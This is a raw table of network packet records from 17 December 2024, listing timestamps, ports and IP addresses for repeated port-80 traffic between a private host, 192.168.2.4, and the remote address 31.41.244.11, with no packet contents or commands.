Dec 17, 2024 22:06:39.585036039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.585226059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.585278988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.586085081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.586138964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.586309910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.586361885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.586517096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.586709023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.587435007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.587490082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.587570906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.587743044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.588541031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.588745117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.588809967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.588860035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.589592934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.589641094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.590539932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.590589046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.590842962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.590876102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.590888977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.590920925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.591891050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.591952085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.592102051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.592150927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.592763901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.592813015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.593362093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.593411922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.593995094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.594072104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.594470978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.594943047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.594988108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.595042944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.595161915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.595221043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.596200943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.596262932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.596347094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.596437931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.597191095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.597254038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.597338915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.597398043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.598133087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.598192930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.598242044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.598439932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.599436998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.599492073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.599677086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.599740028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.600238085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.600291014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.600533009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.600589991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.601366043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.601422071 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.601499081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.601552963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.602371931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.602447987 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.602513075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.602562904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.603456020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.603508949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.603735924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.603785992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.604541063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.604633093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.604700089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.604758978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.605737925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.605791092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.605834961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.605884075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.606636047 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.606690884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.606847048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.606909037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.607733011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.607795000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.608144999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.608196020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.608917952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.608968973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.609096050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.609199047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.609889984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.609976053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.610115051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.610171080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.610955000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.611011982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.611224890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.611390114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.612052917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.612138033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.612438917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.612555027 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.613133907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.613189936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.613239050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.613286972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.614136934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.614187956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.614236116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.614286900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.615219116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.615274906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.615498066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.615547895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.616163969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.616214991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.616297007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.616353035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.617438078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.617490053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.617492914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.617547035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.618371010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.618424892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.618449926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.618573904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.619508028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.619563103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.619689941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.619743109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.620765924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.620816946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.620933056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.620985031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.621907949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.621961117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.621973038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.622025967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.622600079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.622654915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.623029947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.623107910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.623675108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.623732090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.623800039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.623836994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.624702930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.624753952 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.624958992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.625005007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.625792980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.625897884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.625969887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.626008987 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.626982927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.627029896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.627034903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.627087116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.627928972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.628070116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.628134966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.628180027 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.628982067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.629030943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.629574060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.629623890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.630074024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.630166054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.630182028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.630223989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.631230116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.631293058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.631375074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.631428003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.632150888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.632200003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.632205009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.632256985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.633236885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.633282900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.633697033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.633743048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.634448051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.634496927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.634594917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.634699106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.635509968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.635556936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.676734924 CET	80	49843	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:39.809571028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.809776068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.809868097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.809900999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.809921980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.809952974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.810204029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.810256958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.810897112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.810956001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.811038017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.811088085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.811980009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.812035084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.812104940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.812165022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.813066959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.813118935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.813123941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.813179970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.814135075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.814169884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.814189911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.814220905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.815242052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.815277100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.815298080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.815320969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.815973043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.816026926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.816082001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.816154003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.817099094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.817133904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.817154884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.817181110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.818223953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.818260908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.818278074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.818303108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.819161892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.819217920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.819276094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.819341898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.820241928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.820314884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.820697069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.820755959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.821440935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.821476936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.821505070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.821541071 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.822458982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.822494030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.822514057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.822540045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.823474884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.823528051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.823772907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.823832989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.824479103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.824539900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.824567080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.824620008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.825546026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.825603008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.825655937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.825717926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.826675892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.826730967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.827737093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.827770948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.827789068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.827807903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.827815056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.827852964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.828726053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.828779936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.829093933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.829149961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.829948902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.829999924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.830200911 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.830250978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.830871105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.830923080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.831002951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.831049919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.831959963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.832015038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.832626104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.832676888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.833013058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.833067894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.833713055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.833765984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.834119081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.834151983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.834170103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.834196091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.835117102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.835169077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.835232973 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.835279942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.836220980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.836268902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.836705923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.836755991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.837364912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.837419987 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.837594032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.837646008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.838538885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.838596106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.838618040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.838668108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.839389086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.839448929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.839534044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.839582920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.840651989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.840703964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.841176033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.841227055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.841540098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.841593981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.841670990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.841717005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.842598915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.842653036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.842866898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.842916012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.843657970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.843709946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.843796015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.843844891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.845015049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.845048904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.845068932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.845093966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.845978975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.846030951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.846110106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.846162081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.847130060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.847163916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.847183943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.847206116 CET	49825	80	192.168.2.4	31.41.244.11
